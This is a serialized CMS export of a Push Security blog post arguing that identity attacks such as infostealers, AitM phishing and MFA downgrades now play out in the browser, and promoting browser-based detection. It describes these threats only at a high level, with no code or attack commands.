3,112706,112713,112716,112723],{"data":112694,"marks":112695,"value":105789,"nodeType":865},{},[],{"data":112697,"content":112698,"nodeType":889},{"uri":105792},[112699],{"data":112700,"marks":112701,"value":105798,"nodeType":865},{},[112702],{"type":943},{"data":112704,"marks":112705,"value":105802,"nodeType":865},{},[],{"data":112707,"content":112708,"nodeType":889},{"uri":105792},[112709],{"data":112710,"marks":112711,"value":105798,"nodeType":865},{},[112712],{"type":943},{"data":112714,"marks":112715,"value":105813,"nodeType":865},{},[],{"data":112717,"content":112718,"nodeType":889},{"uri":105792},[112719],{"data":112720,"marks":112721,"value":105798,"nodeType":865},{},[112722],{"type":943},{"data":112724,"marks":112725,"value":105824,"nodeType":865},{},[],{"data":112727,"content":112728,"nodeType":1317},{},[112729],{"data":112730,"marks":112731,"value":105832,"nodeType":865},{},[112732],{"type":926},{"data":112734,"content":112735,"nodeType":866},{},[112736],{"data":112737,"marks":112738,"value":105839,"nodeType":865},{},[],{"data":112740,"content":112741,"nodeType":866},{},[112742,112745,112752],{"data":112743,"marks":112744,"value":105846,"nodeType":865},{},[],{"data":112746,"content":112747,"nodeType":889},{"uri":105849},[112748],{"data":112749,"marks":112750,"value":105855,"nodeType":865},{},[112751],{"type":943},{"data":112753,"marks":112754,"value":105859,"nodeType":865},{},[],{"data":112756,"content":112757,"nodeType":866},{},[112758,112761,112768,112771,112778,112781],{"data":112759,"marks":112760,"value":105866,"nodeType":865},{},[],{"data":112762,"content":112763,"nodeType":889},{"uri":105869},[112764],{"data":112765,"marks":112766,"value":105875,"nodeType":865},{},[112767],{"type":943},{"data":112769,"marks":112770,"value":105879,"nodeType":865},{},[],{"data":112772,"content":112773,"nodeType":889},{"uri":105882},[112774],{"data":112775,"marks":112776,"value":105888,"nodeType":865},{},[112777],{"type":943},{"data":112779,"marks":112780,"value":105892,"nodeType":865},{},[],{"data":112782,"marks":112783,"value":105897,"nodeType":865},{},[112784],{"type":926},{"data":112786,"content":112789,"nodeType":912},{"target":112787},{"sys":112788},{"id":105902,"type":909,"linkType":910},[],{"data":112791,"content":112792,"nodeType":866},{},[112793],{"data":112794,"marks":112795,"value":105910,"nodeType":865},{},[],{"data":112797,"content":112800,"nodeType":912},{"target":112798},{"sys":112799},{"id":105915,"type":909,"linkType":910},[],{"data":112802,"content":112803,"nodeType":866},{},[112804],{"data":112805,"marks":112806,"value":105923,"nodeType":865},{},[],{"data":112808,"content":112809,"nodeType":1317},{},[112810],{"data":112811,"marks":112812,"value":105931,"nodeType":865},{},[112813],{"type":926},{"data":112815,"content":112816,"nodeType":866},{},[112817,112820,112827,112830,112837],{"data":112818,"marks":112819,"value":105938,"nodeType":865},{},[],{"data":112821,"content":112822,"nodeType":889},{"uri":105941},[112823],{"data":112824,"marks":112825,"value":66633,"nodeType":865},{},[112826],{"type":943},{"data":112828,"marks":112829,"value":105950,"nodeType":865},{},[],{"data":112831,"content":112832,"nodeType":889},{"uri":105792},[112833],{"data":112834,"marks":112835,"value":105798,"nodeType":865},{},[112836],{"type":943},{"data":112838,"marks":112839,"value":105961,"nodeType":865},{},[],{"data":112841,"content":112844,"nodeType":912},{"target":112842},{"sys":112843},{"id":105966,"type":909,"linkType":910},[],{"data":112846,"content":112847,"nodeType":972},{},[],{"data":112849,"content":112850,"nodeType":981},{},[112851],{"data":112852,"marks":112853,"value":66996,"nodeType":865},{},[112854],{"type":926},{"data":112856,"content":112857,"nodeType":866},{},[112858,112861,112868],{"data":112859,"marks":112860,"value":105984,"nodeType":865},{},[],{"data":112862,"content":112863,"nodeType":889},{"uri":105987},[112864],{"data":112865,"marks":112866,"value":105993,"nodeType":865},{},[112867],{"type":943},{"data":112869,"marks":112870,"value":105997,"nodeType":865},{},[],{"data":112872,"content":112873,"nodeType":866},{},[112874,112877,112884],{"data":112875,"marks":112876,"value":106004,"nodeType":865},{},[],{"data":112878,"content":112879,"nodeType":889},{"uri":106007},[112880],{"data":112881,"marks":112882,"value":106013,"nodeType":865},{},[112883],{"type":943},{"data":112885,"marks":112886,"value":106017,"nodeType":865},{},[],{"data":112888,"content":112889,"nodeType":866},{},[112890,112893,112900,112903,112910],{"data":112891,"marks":112892,"value":106024,"nodeType":865},{},[],{"data":112894,"content":112895,"nodeType":889},{"uri":105763},[112896],{"data":112897,"marks":112898,"value":441,"nodeType":865},{},[112899],{"type":943},{"data":112901,"marks":112902,"value":106035,"nodeType":865},{},[],{"data":112904,"content":112905,"nodeType":889},{"uri":70881},[112906],{"data":112907,"marks":112908,"value":106043,"nodeType":865},{},[112909],{"type":943},{"data":112911,"marks":112912,"value":106047,"nodeType":865},{},[],{"data":112914,"content":112917,"nodeType":912},{"target":112915},{"sys":112916},{"id":67359,"type":909,"linkType":910},[],{"data":112919,"content":112920,"nodeType":972},{},[],{"data":112922,"content":112923,"nodeType":981},{},[112924],{"data":112925,"marks":112926,"value":106063,"nodeType":865},{},[112927],{"type":926},{"data":112929,"content":112930,"nodeType":866},{},[112931],{"data":112932,"marks":112933,"value":106070,"nodeType":865},{},[],{"data":112935,"content":112936,"nodeType":1616},{},[112937,112946,112965],{"data":112938,"content":112939,"nodeType":1570},{},[112940],{"data":112941,"content":112942,"nodeType":866},{},[112943],{"data":112944,"marks":112945,"value":106083,"nodeType":865},{},[],{"data":112947,"content":112948,"nodeType":1570},{},[112949],{"data":112950,"content":112951,"nodeType":866},{},[112952,112955,112962],{"data":112953,"marks":112954,"value":106093,"nodeType":865},{},[],{"data":112956,"content":112957,"nodeType":889},{"uri":105792},[112958],{"data":112959,"marks":112960,"value":105798,"nodeType":865},{},[112961],{"type":943},{"data":112963,"marks":112964,"value":106104,"nodeType":865},{},[],{"data":112966,"content":112967,"nodeType":1570},{},[112968],{"data":112969,"content":112970,"nodeType":866},{},[112971,112974,112981,112984,112991,112994,113001,113004,113011],{"data":112972,"marks":112973,"value":106114,"nodeType":865},{},[],{"data":112975,"content":112976,"nodeType":889},{"uri":106117},[112977],{"data":112978,"marks":112979,"value":106123,"nodeType":865},{},[112980],{"type":943},{"data":112982,"marks":112983,"value":2717,"nodeType":865},{},[],{"data":112985,"content":112986,"nodeType":889},{"uri":106129},[112987],{"data":112988,"marks":112989,"value":106135,"nodeType":865},{},[112990],{"type":943},{"data":112992,"marks":112993,"value":2717,"nodeType":865},{},[],{"data":112995,"content":112996,"nodeType":889},{"uri":106141},[112997],{"data":112998,"marks":112999,"value":106147,"nodeType":865},{},[113000],{"type":943},{"data":113002,"marks":113003,"value":11397,"nodeType":865},{},[],{"data":113005,"content":113006,"nodeType":889},{"uri":106153},[113007],{"data":113008,"marks":113009,"value":106159,"nodeType":865},{},[113010],{"type":943},{"data":113012,"marks":113013,"value":106163,"nodeType":865},{},[],{"data":113015,"content":113016,"nodeType":972},{},[],{"data":113018,"content":113019,"nodeType":981},{},[113020],{"data":113021,"marks":113022,"value":2270,"nodeType":865},{},[113023],{"type":926},{"data":113025,"content":113026,"nodeType":866},{},[113027,113030,113036],{"data":113028,"marks":113029,"value":106180,"nodeType":865},{},[],{"data":113031,"content":113032,"nodeType":889},{"uri":8862},[113033],{"data":113034,"marks":113035,"value":67317,"nodeType":865},{},[],{"data":113037,"marks":113038,"value":101319,"nodeType":865},{},[],{"data":113040,"content":113041,"nodeType":866},{},[113042],{"data":113043,"marks":113044,"value":106196,"nodeType":865},{},[],{"data":113046,"content":113047,"nodeType":866},{},[113048],{"data":113049,"marks":113050,"value":106203,"nodeType":865},{},[],{"data":113052,"content":113053,"nodeType":866},{},[113054,113057,113064],{"data":113055,"marks":113056,"value":104093,"nodeType":865},{},[],{"data":113058,"content":113059,"nodeType":889},{"uri":16069},[113060],{"data":113061,"marks":113062,"value":106217,"nodeType":865},{},[113063],{"type":943},{"data":113065,"marks":113066,"value":21,"nodeType":865},{},[],{"items":113068},[113069,113071],{"sys":113070,"name":342},{"id":4642},{"sys":113072,"name":7796},{"id":7795},{"items":113074},[113075],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":113076},{"url":11425},{"__typename":1429,"sys":113078,"content":113080,"title":113848,"synopsis":113849,"hashTags":59,"publishedDate":113850,"slug":113851,"tagsCollection":113852,"authorsCollection":113858},{"id":113079},"31m73YMGdCyqVmjHulBwER",{"json":113081},{"data":113082,"content":113083,"nodeType":1382},{},[113084,113091,113124,113131,113137,113144,113175,113182,113188,113191,113199,113206,113213,113269,113287,113299,113306,113312,113315,113323,113339,113345,113352,113358,113365,113402,113407,113410,113418,113425,113432,113552,113558,113588,113595,113598,113606,113613,113620,113661,113689,113696,113771,113777,113780,113787,113794,113814,113817,113825,113832],{"data":113085,"content":113086,"nodeType":866},{},[113087],{"data":113088,"marks":113089,"value":113090,"nodeType":865},{},[],"Until recently, the cyber attacker methodology behind the biggest breaches of the last decade or so has been pretty consistent:",{"data":113092,"content":113093,"nodeType":1616},{},[113094,113104,113114],{"data":113095,"content":113096,"nodeType":1570},{},[113097],{"data":113098,"content":113099,"nodeType":866},{},[113100],{"data":113101,"marks":113102,"value":113103,"nodeType":865},{},[],"Compromise an endpoint via software exploit, or social engineering a user to run malware on their device; ",{"data":113105,"content":113106,"nodeType":1570},{},[113107],{"data":113108,"content":113109,"nodeType":866},{},[113110],{"data":113111,"marks":113112,"value":113113,"nodeType":865},{},[],"Find ways to move laterally inside the network and compromise privileged identities;",{"data":113115,"content":113116,"nodeType":1570},{},[113117],{"data":113118,"content":113119,"nodeType":866},{},[113120],{"data":113121,"marks":113122,"value":113123,"nodeType":865},{},[],"Repeat as needed until you can execute your desired attack — usually stealing data from file shares, deploying ransomware, or both. ",{"data":113125,"content":113126,"nodeType":866},{},[113127],{"data":113128,"marks":113129,"value":113130,"nodeType":865},{},[],"But attacks have fundamentally changed as networks have evolved. With the SaaS-ification of enterprise IT, core business systems aren’t locally deployed and centrally managed in the way they used to be. Instead, they’re logged into over the internet, via a web browser.",{"data":113132,"content":113136,"nodeType":912},{"target":113133},{"sys":113134},{"id":113135,"type":909,"linkType":910},"4h4hUYAghbZavOwjRTnBe2",[],{"data":113138,"content":113139,"nodeType":866},{},[113140],{"data":113141,"marks":113142,"value":113143,"nodeType":865},{},[],"Under the shared responsibility model, the part that’s left to the business consuming a SaaS service is mostly constrained to how they manage identities — the vehicle by which the app is accessed and used by the workforce. It’s no surprise that this has become the soft underbelly in the crosshairs of attackers. ",{"data":113145,"content":113146,"nodeType":866},{},[113147,113151,113159,113163,113172],{"data":113148,"marks":113149,"value":113150,"nodeType":865},{},[],"We’ve seen this time and again in the biggest breaches of recent years, with the highlights including the massive ",{"data":113152,"content":113153,"nodeType":889},{"uri":3488},[113154],{"data":113155,"marks":113156,"value":113158,"nodeType":865},{},[113157],{"type":943},"Snowflake campaign in 2024",{"data":113160,"marks":113161,"value":113162,"nodeType":865},{},[]," and the ",{"data":113164,"content":113166,"nodeType":889},{"uri":113165},"https://pushsecurity.com/blog/key-takeaways-from-the-scattered-spider-attacks-on-insurance-firms/",[113167],{"data":113168,"marks":113169,"value":113171,"nodeType":865},{},[113170],{"type":943},"2025 crime wave attributed to Scattered Spider",{"data":113173,"marks":113174,"value":110314,"nodeType":865},{},[],{"data":113176,"content":113177,"nodeType":866},{},[113178],{"data":113179,"marks":113180,"value":113181,"nodeType":865},{},[],"These attacks are so successful because while attackers have moved with the changes to enterprise IT, security hasn’t really kept up. ",{"data":113183,"content":113187,"nodeType":912},{"target":113184},{"sys":113185},{"id":113186,"type":909,"linkType":910},"xH0ZqgKQXCRRZGYVs6xt6",[],{"data":113189,"content":113190,"nodeType":972},{},[],{"data":113192,"content":113193,"nodeType":981},{},[113194],{"data":113195,"marks":113196,"value":113198,"nodeType":865},{},[113197],{"type":926},"The browser is the new battleground — and a security blind spot",{"data":113200,"content":113201,"nodeType":866},{},[113202],{"data":113203,"marks":113204,"value":113205,"nodeType":865},{},[],"Taking over workforce identities is the first objective for attackers looking to target an organization, and the browser is the place where the attacks against users happen. This is because it’s where these digital identities are created and used — and their credentials and sessions live. This is what the attacker wants to get their hands on. ",{"data":113207,"content":113208,"nodeType":866},{},[113209],{"data":113210,"marks":113211,"value":113212,"nodeType":865},{},[],"Stolen credentials can be used as part of targeted attacks or in broader credential stuffing (cycling known username and credential pairs against various apps and platforms), while stolen session tokens can be used to log in directly to an active session, bypassing the authentication process. ",{"data":113214,"content":113215,"nodeType":866},{},[113216,113220,113225,113228,113233,113236,113241,113244,113249,113252,113257,113261,113265],{"data":113217,"marks":113218,"value":113219,"nodeType":865},{},[],"There are a few different techniques that attackers can use to get access to these identities. Attackers harvest stolen credentials from various places — ",{"data":113221,"marks":113222,"value":113224,"nodeType":865},{},[113223],{"type":926},"data breach dumps",{"data":113226,"marks":113227,"value":2717,"nodeType":865},{},[],{"data":113229,"marks":113230,"value":113232,"nodeType":865},{},[113231],{"type":926},"mass",{"data":113234,"marks":113235,"value":2688,"nodeType":865},{},[],{"data":113237,"marks":113238,"value":113240,"nodeType":865},{},[113239],{"type":926},"credential",{"data":113242,"marks":113243,"value":2688,"nodeType":865},{},[],{"data":113245,"marks":113246,"value":113248,"nodeType":865},{},[113247],{"type":926},"phishing campaigns,",{"data":113250,"marks":113251,"value":2688,"nodeType":865},{},[],{"data":113253,"marks":113254,"value":113256,"nodeType":865},{},[113255],{"type":926},"infostealer logs",{"data":113258,"marks":113259,"value":113260,"nodeType":865},{},[],", even ",{"data":113262,"marks":113263,"value":58763,"nodeType":865},{},[113264],{"type":926},{"data":113266,"marks":113267,"value":113268,"nodeType":865},{},[]," that they’ve tricked an employee into installing. In fact, the cyber crime ecosystem itself has shifted on its axis to cater to this, with hackers specifically taking on the role of harvesting credentials and establishing account access for others to exploit. ",{"data":113270,"content":113271,"nodeType":866},{},[113272,113276,113283],{"data":113273,"marks":113274,"value":113275,"nodeType":865},{},[],"The high-profile ",{"data":113277,"content":113278,"nodeType":889},{"uri":3488},[113279],{"data":113280,"marks":113281,"value":13698,"nodeType":865},{},[113282],{"type":943},{"data":113284,"marks":113285,"value":113286,"nodeType":865},{},[]," breaches in 2024 signalled a watershed moment in the shift to identity-driven breaches, where attackers logged into accounts across hundreds of customer tenants using stolen credentials. One of the primary sources of the stolen credentials used in the attacks were infostealer logs dating back to 2020 — breached passwords that hadn’t been rotated or mitigated with MFA. ",{"data":113288,"content":113289,"nodeType":866},{},[113290,113294],{"data":113291,"marks":113292,"value":113293,"nodeType":865},{},[],"Infostealers are notable because they’re an endpoint malware attack designed to harvest credentials and session tokens (often from the browser) to enable the attacker to then log into those services… through their own web browser. ",{"data":113295,"marks":113296,"value":113298,"nodeType":865},{},[113297],{"type":926},"So, even today’s endpoint attacks are seeing the attacker pivot back into the browser in order to get to identities — the key to the online apps and services where exploitable data and functionality now resides. ",{"data":113300,"content":113301,"nodeType":866},{},[113302],{"data":113303,"marks":113304,"value":113305,"nodeType":865},{},[],"The problem here is that this is a blind spot for the security tools we’re currently reliant upon — which don’t have the fine-grained visibility required. This is very similar to the challenge that the industry faced prior to the introduction of EDR in the 2010s — the main sources of data are looking from the outside-in, lacking the process-level visibility and context to be able to detect and stop attacks as they happen.",{"data":113307,"content":113311,"nodeType":912},{"target":113308},{"sys":113309},{"id":113310,"type":909,"linkType":910},"2qoMH6qCNJc7it7sTuKl4F",[],{"data":113313,"content":113314,"nodeType":972},{},[],{"data":113316,"content":113317,"nodeType":981},{},[113318],{"data":113319,"marks":113320,"value":113322,"nodeType":865},{},[113321],{"type":926},"Identity is the prize, browser is the platform — and phishing is the weapon of choice",{"data":113324,"content":113325,"nodeType":866},{},[113326,113330,113335],{"data":113327,"marks":113328,"value":113329,"nodeType":865},{},[],"But the technique that’s STILL driving the most impactful identity-driven breaches? ",{"data":113331,"marks":113332,"value":113334,"nodeType":865},{},[113333],{"type":926},"It’s phishing",{"data":113336,"marks":113337,"value":113338,"nodeType":865},{},[],". Phishing for credentials, sessions, OAuth consent, authorization codes. Phishing via email, instant messenger, social media, malicious Google ads… it all happens in, or leads to, the browser. ",{"data":113340,"content":113344,"nodeType":912},{"target":113341},{"sys":113342},{"id":113343,"type":909,"linkType":910},"6Gsd3G0sOibNxgVLimb2wV",[],{"data":113346,"content":113347,"nodeType":866},{},[113348],{"data":113349,"marks":113350,"value":113351,"nodeType":865},{},[],"And modern phishing attacks are more effective than ever. Today, phishing operates on an industrial scale, using an array of obfuscation and detection evasion techniques to block email and network security tools from intercepting them. Probably the most common example today is the use of bot protection (think CAPTCHA or Cloudflare Turnstile), using legitimate anti-spam features to block security tools. ",{"data":113353,"content":113357,"nodeType":912},{"target":113354},{"sys":113355},{"id":113356,"type":909,"linkType":910},"6M1My4lSKItu6Qdv4hO1RA",[],{"data":113359,"content":113360,"nodeType":866},{},[113361],{"data":113362,"marks":113363,"value":113364,"nodeType":865},{},[],"The latest generation of fully customized AitM phishing kits are dynamically obfuscating the code that loads the web page, implementing custom CAPTCHA, and using runtime anti-analysis features, making them increasingly difficult to detect. The ways in which links are delivered has also increased in sophistication, with more delivery channels (as we showed above) and the use of legitimate SaaS services for camouflage. ",{"data":113366,"content":113367,"nodeType":866},{},[113368,113372,113377,113381,113386,113390,113398],{"data":113369,"marks":113370,"value":113371,"nodeType":865},{},[],"And the latest trends indicate that attackers are responding to increasingly hardened IdP/SSO configuration by exploiting alternative phishing techniques that ",{"data":113373,"marks":113374,"value":113376,"nodeType":865},{},[113375],{"type":926},"circumvent MFA and passkeys",{"data":113378,"marks":113379,"value":113380,"nodeType":865},{},[],", most commonly by ",{"data":113382,"marks":113383,"value":113385,"nodeType":865},{},[113384],{"type":926},"downgrading to a phishable backup authentication method",{"data":113387,"marks":113388,"value":113389,"nodeType":865},{},[]," — which you can see in action below, and ",{"data":113391,"content":113392,"nodeType":889},{"uri":95823},[113393],{"data":113394,"marks":113395,"value":113397,"nodeType":865},{},[113396],{"type":943},"read more about here",{"data":113399,"marks":113400,"value":113401,"nodeType":865},{},[],".  ",{"data":113403,"content":113406,"nodeType":912},{"target":113404},{"sys":113405},{"id":103594,"type":909,"linkType":910},[],{"data":113408,"content":113409,"nodeType":972},{},[],{"data":113411,"content":113412,"nodeType":981},{},[113413],{"data":113414,"marks":113415,"value":113417,"nodeType":865},{},[113416],{"type":926},"Identities are the lowest-hanging fruit for attackers to aim for",{"data":113419,"content":113420,"nodeType":866},{},[113421],{"data":113422,"marks":113423,"value":113424,"nodeType":865},{},[],"The goal of the modern attacker, and the easiest way into your business’s digital environment, is to compromise identities. Whether you’re dealing with phishing attacks, malicious browser extensions, or infostealer malware, the objective remains the same — account takeover. ",{"data":113426,"content":113427,"nodeType":866},{},[113428],{"data":113429,"marks":113430,"value":113431,"nodeType":865},{},[],"Organizations are dealing with a vast and vulnerable attack surface consisting of:",{"data":113433,"content":113434,"nodeType":1616},{},[113435,113456,113477,113497],{"data":113436,"content":113437,"nodeType":1570},{},[113438],{"data":113439,"content":113440,"nodeType":866},{},[113441,113444,113452],{"data":113442,"marks":113443,"value":21,"nodeType":865},{},[],{"data":113445,"content":113446,"nodeType":889},{"uri":6698},[113447],{"data":113448,"marks":113449,"value":113451,"nodeType":865},{},[113450],{"type":943},"Hundreds of applications, with thousands of accounts",{"data":113453,"marks":113454,"value":113455,"nodeType":865},{},[]," spread across the app estate.",{"data":113457,"content":113458,"nodeType":1570},{},[113459],{"data":113460,"content":113461,"nodeType":866},{},[113462,113466,113474],{"data":113463,"marks":113464,"value":113465,"nodeType":865},{},[],"Accounts vulnerable to MFA-bypass phishing kits, because they are using a login method that is not phishing-resistant, or because ",{"data":113467,"content":113468,"nodeType":889},{"uri":95823},[113469],{"data":113470,"marks":113471,"value":113473,"nodeType":865},{},[113472],{"type":943},"the login method can be downgraded",{"data":113475,"marks":113476,"value":1615,"nodeType":865},{},[],{"data":113478,"content":113479,"nodeType":1570},{},[113480],{"data":113481,"content":113482,"nodeType":866},{},[113483,113487,113494],{"data":113484,"marks":113485,"value":113486,"nodeType":865},{},[],"Accounts with a weak, reused, or breached password and no MFA altogether (usually the result of a forgotten-about ",{"data":113488,"content":113489,"nodeType":889},{"uri":53259},[113490],{"data":113491,"marks":113492,"value":62154,"nodeType":865},{},[113493],{"type":943},{"data":113495,"marks":113496,"value":46245,"nodeType":865},{},[],{"data":113498,"content":113499,"nodeType":1570},{},[113500],{"data":113501,"content":113502,"nodeType":866},{},[113503,113507,113515,113518,113526,113530,113537,113540,113548],{"data":113504,"marks":113505,"value":113506,"nodeType":865},{},[],"Bypassing the authentication process entirely to evade otherwise phishing-resistant authentication methods, by abusing features like ",{"data":113508,"content":113509,"nodeType":889},{"uri":101210},[113510],{"data":113511,"marks":113512,"value":113514,"nodeType":865},{},[113513],{"type":943},"API key creation",{"data":113516,"marks":113517,"value":2717,"nodeType":865},{},[],{"data":113519,"content":113520,"nodeType":889},{"uri":103960},[113521],{"data":113522,"marks":113523,"value":113525,"nodeType":865},{},[113524],{"type":943},"app-specific passwords",{"data":113527,"marks":113528,"value":113529,"nodeType":865},{},[],", OAuth ",{"data":113531,"content":113532,"nodeType":889},{"uri":56197},[113533],{"data":113534,"marks":113535,"value":66867,"nodeType":865},{},[113536],{"type":943},{"data":113538,"marks":113539,"value":2717,"nodeType":865},{},[],{"data":113541,"content":113542,"nodeType":889},{"uri":104047},[113543],{"data":113544,"marks":113545,"value":113547,"nodeType":865},{},[113546],{"type":943},"cross-IdP impersonation",{"data":113549,"marks":113550,"value":113551,"nodeType":865},{},[],", and more.  ",{"data":113553,"content":113557,"nodeType":912},{"target":113554},{"sys":113555},{"id":113556,"type":909,"linkType":910},"3WFzina1t5j6bDlTlGQA0l",[],{"data":113559,"content":113560,"nodeType":866},{},[113561,113565,113573,113577,113584],{"data":113562,"marks":113563,"value":113564,"nodeType":865},{},[],"A key driver of identity vulnerability is the ",{"data":113566,"content":113567,"nodeType":889},{"uri":8020},[113568],{"data":113569,"marks":113570,"value":113572,"nodeType":865},{},[113571],{"type":943},"huge variance in the configurability of accounts per application",{"data":113574,"marks":113575,"value":113576,"nodeType":865},{},[],", with different levels of centralized visibility and security control of identities provided — for example, while one app can be locked down to only accept SSO logins via SAML and automatically remove any unused passwords, another provides no control or visibility of login method or MFA status (another big driver of the ",{"data":113578,"content":113579,"nodeType":889},{"uri":3488},[113580],{"data":113581,"marks":113582,"value":13698,"nodeType":865},{},[113583],{"type":943},{"data":113585,"marks":113586,"value":113587,"nodeType":865},{},[]," breaches last year). Unfortunately, as a by-product of product-led growth and something that is compounded by every new SaaS startup that hits the market, this situation doesn’t look like it’s going to change anytime soon. ",{"data":113589,"content":113590,"nodeType":866},{},[113591],{"data":113592,"marks":113593,"value":113594,"nodeType":865},{},[],"The end result is that identities are misconfigured, invisible to the security team, and routinely exploited by commodity attacker tooling. It’s no surprise that they’re the primary target for attackers today. ",{"data":113596,"content":113597,"nodeType":972},{},[],{"data":113599,"content":113600,"nodeType":981},{},[113601],{"data":113602,"marks":113603,"value":113605,"nodeType":865},{},[113604],{"type":926},"The solution: The browser as a telemetry source and control point",{"data":113607,"content":113608,"nodeType":866},{},[113609],{"data":113610,"marks":113611,"value":113612,"nodeType":865},{},[],"Because identity attacks play out in the browser, it’s the perfect place for security teams to observe, intercept, and shut down these attacks. ",{"data":113614,"content":113615,"nodeType":866},{},[113616],{"data":113617,"marks":113618,"value":113619,"nodeType":865},{},[],"The browser has a number of advantages over the different places where identity can be observed and protected, because:",{"data":113621,"content":113622,"nodeType":1616},{},[113623,113633,113643],{"data":113624,"content":113625,"nodeType":1570},{},[113626],{"data":113627,"content":113628,"nodeType":866},{},[113629],{"data":113630,"marks":113631,"value":113632,"nodeType":865},{},[],"You aren’t limited to the apps and identities directly connected to your IdP (a fraction of your workforce identity sprawl). ",{"data":113634,"content":113635,"nodeType":1570},{},[113636],{"data":113637,"content":113638,"nodeType":866},{},[113639],{"data":113640,"marks":113641,"value":113642,"nodeType":865},{},[],"You aren’t limited to the apps that you know about and manage centrally — you can observe every login that passes through the browser.",{"data":113644,"content":113645,"nodeType":1570},{},[113646],{"data":113647,"content":113648,"nodeType":866},{},[113649,113653,113657],{"data":113650,"marks":113651,"value":113652,"nodeType":865},{},[],"You can observe all the properties of a login, including the login method, MFA method, etc. You’d otherwise need API access to ",{"data":113654,"marks":113655,"value":106434,"nodeType":865},{},[113656],{"type":898},{"data":113658,"marks":113659,"value":113660,"nodeType":865},{},[]," get this information (depending on whether an API is provided and whether this specific data can be interrogated, also not standard for many apps). ",{"data":113662,"content":113663,"nodeType":866},{},[113664,113668,113673,113677,113685],{"data":113665,"marks":113666,"value":113667,"nodeType":865},{},[],"It’s obvious with all that we’ve covered so far that fixing every identity vulnerability is an ominous task — the SaaS ecosystem itself is working against you. ",{"data":113669,"marks":113670,"value":113672,"nodeType":865},{},[113671],{"type":926},"This is why detecting and responding to identity attacks is essential. ",{"data":113674,"marks":113675,"value":113676,"nodeType":865},{},[],"Because identity compromise almost always involves phishing or social engineering a user to perform an action in their browser (with some exceptions — like the ",{"data":113678,"content":113679,"nodeType":889},{"uri":53458},[113680],{"data":113681,"marks":113682,"value":113684,"nodeType":865},{},[113683],{"type":943},"Scattered Spider-related help desk attacks",{"data":113686,"marks":113687,"value":113688,"nodeType":865},{},[]," seen recently), it’s also the perfect place to monitor for and intercept attacks. ",{"data":113690,"content":113691,"nodeType":866},{},[113692],{"data":113693,"marks":113694,"value":113695,"nodeType":865},{},[],"In the browser, you gather deep, contextualized information about page behavior and user inputs that can be used to detect and shut down risky scenarios in real time. Take the example of phishing pages. Because Push operates in the browser, it sees everything:",{"data":113697,"content":113698,"nodeType":1616},{},[113699,113709,113719,113729,113751,113761],{"data":113700,"content":113701,"nodeType":1570},{},[113702],{"data":113703,"content":113704,"nodeType":866},{},[113705],{"data":113706,"marks":113707,"value":113708,"nodeType":865},{},[],"The page layout.",{"data":113710,"content":113711,"nodeType":1570},{},[113712],{"data":113713,"content":113714,"nodeType":866},{},[113715],{"data":113716,"marks":113717,"value":113718,"nodeType":865},{},[],"Where the user came from (through the whole redirect chain).",{"data":113720,"content":113721,"nodeType":1570},{},[113722],{"data":113723,"content":113724,"nodeType":866},{},[113725],{"data":113726,"marks":113727,"value":113728,"nodeType":865},{},[],"Page interaction events — e.g. tabs opened and closed, popup windows, forms submitted, etc.",{"data":113730,"content":113731,"nodeType":1570},{},[113732],{"data":113733,"content":113734,"nodeType":866},{},[113735,113739,113747],{"data":113736,"marks":113737,"value":113738,"nodeType":865},{},[],"The password they enter ",{"data":113740,"content":113741,"nodeType":889},{"uri":110870},[113742],{"data":113743,"marks":113744,"value":113746,"nodeType":865},{},[113745],{"type":943},"(as a salted, abbreviated hash)",{"data":113748,"marks":113749,"value":113750,"nodeType":865},{},[],", and whether a password was typed or copied, and where from.",{"data":113752,"content":113753,"nodeType":1570},{},[113754],{"data":113755,"content":113756,"nodeType":866},{},[113757],{"data":113758,"marks":113759,"value":113760,"nodeType":865},{},[],"What scripts are running on the page and whether they are potentially malicious.",{"data":113762,"content":113763,"nodeType":1570},{},[113764],{"data":113765,"content":113766,"nodeType":866},{},[113767],{"data":113768,"marks":113769,"value":113770,"nodeType":865},{},[],"Where credentials are being sent.",{"data":113772,"content":113776,"nodeType":912},{"target":113773},{"sys":113774},{"id":113775,"type":909,"linkType":910},"6kQejVS63FQ6Oy8nIm6UlV",[],{"data":113778,"content":113779,"nodeType":972},{},[],{"data":113781,"content":113782,"nodeType":981},{},[113783],{"data":113784,"marks":113785,"value":57175,"nodeType":865},{},[113786],{"type":926},{"data":113788,"content":113789,"nodeType":866},{},[113790],{"data":113791,"marks":113792,"value":113793,"nodeType":865},{},[],"Identity attacks are the biggest unsolved problem facing security teams today and the leading cause of security breaches. At the same time, the browser presents security teams with all the tools they need to prevent, detect, and respond to identity-based attacks — proactively by finding and fixing identity vulnerabilities, and reactively by detecting and blocking attacks against users in real time. ",{"data":113795,"content":113796,"nodeType":866},{},[113797,113801,113810],{"data":113798,"marks":113799,"value":113800,"nodeType":865},{},[],"Organizations need to move past the old ways of doing identity security — relying on MFA attestations, identity management dashboards, and ",{"data":113802,"content":113804,"nodeType":889},{"uri":113803},"https://pushsecurity.com/blog/three-reasons-why-browser-is-best-for-stopping-phishing-attacks/",[113805],{"data":113806,"marks":113807,"value":113809,"nodeType":865},{},[113808],{"type":943},"legacy email and network anti-phishing tools",{"data":113811,"marks":113812,"value":113813,"nodeType":865},{},[],". And there’s no better place to stop these attacks than in the browser. ",{"data":113815,"content":113816,"nodeType":972},{},[],{"data":113818,"content":113819,"nodeType":981},{},[113820],{"data":113821,"marks":113822,"value":113824,"nodeType":865},{},[113823],{"type":926},"Find out more",{"data":113826,"content":113827,"nodeType":866},{},[113828],{"data":113829,"marks":113830,"value":113831,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks identity attacks like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix identity vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more.",{"data":113833,"content":113834,"nodeType":866},{},[113835,113838,113845],{"data":113836,"marks":113837,"value":101333,"nodeType":865},{},[],{"data":113839,"content":113840,"nodeType":889},{"uri":1372},[113841],{"data":113842,"marks":113843,"value":11405,"nodeType":865},{},[113844],{"type":943},{"data":113846,"marks":113847,"value":1615,"nodeType":865},{},[],"How the browser became the main cyber battleground","How attacks have moved away from endpoints and internal networks to the browser — a blind spot for traditional security 